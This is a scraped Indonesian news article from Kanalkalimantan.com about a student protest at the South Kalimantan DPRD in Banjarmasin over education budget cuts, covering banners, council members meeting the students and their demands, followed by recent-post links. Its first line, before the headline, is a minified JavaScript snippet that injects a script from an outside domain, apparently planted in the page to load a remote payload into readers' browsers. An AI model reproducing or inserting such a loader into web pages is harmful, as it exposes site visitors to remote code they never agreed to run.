(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Unjuk Rasa Mahasiswa Tutupi Plang DPRD Kalsel dengan Spanduk Sindiran


KANALKALIMANTAN.COM, BANJARMASIN – Unjuk rasa mahasiswa di depan gedung Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Kalimantan Selatan (Kalsel) terkait efisiensi anggaran pendidikan berlangsung hingga menjelang sore.

Aksi protes kebijakan pemerintah di Jalan Lambung Mangkurat Kota Banjarmasin tersebut sempat memanas, meskipun akhirnya berhasil diredam.

Tak hanya berorasi melalui mimbar jalanan, mahasiswa mengekspresikan tuntutan dengan media spanduk.

Baca juga: BREAKING! Mahasiswa Unjuk Rasa Soroti Pemangkasan Anggaran Pendidikan

Salah satu spanduk berisi sindiran terkait efisiensi anggaran yang menyasar lembaga pendidikan.

Semboyan “Tutwuri Handayani” diplesetkan mahasiswa menjadi “Tutwuri Efisiensi”.

Bahkan, papan nama kantor DPRD Kalsel oleh massa ditutup dan dipasang spanduk bertuliskan “Waspada Indonesia Gelap 2025, Darurat Pendidikan, Tutwuri Efisiensi”.

Baca juga: Berselisih di Rumah Makan, Sopir Ekspedisi Bawa Mobil Bos Berakhir di Polisi

Pohon di trotoar depan gedung DPRD Kalsel tak luput menjadi sasarab mahasiswa menggantung spanduk aksi.

Setelah sekitar satu jam berorasi di jalan, beberap Anggota DPRD Kalsel akhirnya menemui massa.

Sekretaris Komisi IV DPRD Kalsel Bambang Yanto Permono, Anggota Komisi I DPRD Kalsel Dirham Zain, dan Sekretaris Dewan (Sekwan) Muhammad Jaini duduk bersama mahasiswa mendengarkan tuntutan.

Baca juga: Buron Koruptor Asal Kalsel Ditangkap di Bali

Di hadapan mahasiswa, Bambang Yanto mengatakan jika pimpinan DPRD Kalsel sedang berhalangan hadir dan tak bisa ikuti menemui mahasiswa.

Kordinator aksi, Adi Jayadi menyampaikan secara langsung sembilan poin aspirasi tuntutan kepada Anggota DPRD Kalsel.

Tuntutan antara lain terkait pengurangan anggaran Bantuan Operasional Perguruan Tinggi Negeri (BOPTN) dan Bantuan Pendanaan PTN Badan Hukum (BPPTNBH). Mahasiswa meminta kebijakan tersebut dievaluasi.

“Semoga pimpinan DPRD Kalsel bisa bersikap tegas dan menandatangani bersama terkait tuntutan yang telah disepakati oleh seluruh aliansi BEM se Kalsel,” kata Adi Jayadi yang juga Ketua BEM ULM. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

1 jam ago

Sajian Makan Bersama Warga Setelah Salat Ied

KANALKALIMANTAN.COM, BANJARBARU - Momen Hari Raya Idulfitri di Kota Banjarbaru dimanfaatkan salah satu warga Kelurahan… Read More

1 hari ago

YBM Bersama Srikandi PLN Berbagi Berkah Ramadan kepada Mustahik di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Jelang Idulfitri 1446 Hijriyah, Yayasan Baitul Ma'al (YBM) dan Srikandi PT PLN… Read More

2 hari ago

Dua Rumah Terbakar di Sungai Tabukan, Bupati HSU: Waspada Ketika Ditinggal Mudik

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani mengingatkan warga untuk selalu mewaspadai… Read More

2 hari ago

Ini Alasan KPU Tiadakan Kampanye di PSU Pilkada 2024

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemilihan Umum (KPU) menegaskan bahwa kampanye akbar atau rapat umum ditiadakan… Read More

2 hari ago

Sepekan Jurnalis Juwita Dimakamkan Motif Masih Jadi Misteri Ditangan Penyidik

KANALKALIMANTAN.COM, BANJARBARU - Motif J, anggota TNI AL berpangkat Kelasi I menghabisi nyawa jurnalis Juwita… Read More

3 hari ago